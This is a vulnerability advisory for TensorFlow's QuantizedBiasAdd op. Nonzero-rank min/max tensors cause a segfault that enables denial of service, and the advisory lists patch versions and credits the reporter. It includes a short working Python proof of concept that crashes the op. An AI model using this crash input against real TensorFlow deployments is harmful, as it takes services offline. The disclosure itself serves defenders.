PT-2026-59720 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizedBiasAdd is given min input, max input, min bias, max bias tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
out type = tf.qint32
input = tf.constant([85,170,255], shape=[3], dtype=tf.quint8)
bias = tf.constant(43, shape=[2,3], dtype=tf.quint8)
min input = tf.constant([], shape=[0], dtype=tf.float32)
max input = tf.constant(0, shape=[1], dtype=tf.float32)
min bias = tf.constant(0, shape=[1], dtype=tf.float32)
max bias = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizedBiasAdd(input=input, bias=bias, min input=min input, max input=max input, min bias=min bias, max bias=max bias, out type=out type)Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow